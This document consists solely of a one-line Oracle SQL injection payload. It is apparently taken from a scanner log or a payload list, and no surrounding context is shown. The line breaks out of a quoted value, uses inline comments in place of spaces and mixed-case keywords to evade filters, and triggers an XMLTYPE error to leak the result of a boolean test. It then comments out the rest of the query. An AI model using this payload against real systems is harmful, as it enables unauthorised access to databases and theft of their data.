1′)aND/**/2373=(selEcT/**/upper(XMLTYPE(ChR(60)||Chr(58)||~||(SelECt/**/(casE/**/WHen/**/(2373=2373)/**/ThEN/**/1/**/ELSE/**/0/**/ENd)/**/fRom/**/Dual)||~||cHR(62)))/**/fROm/**/dUAL)– – 1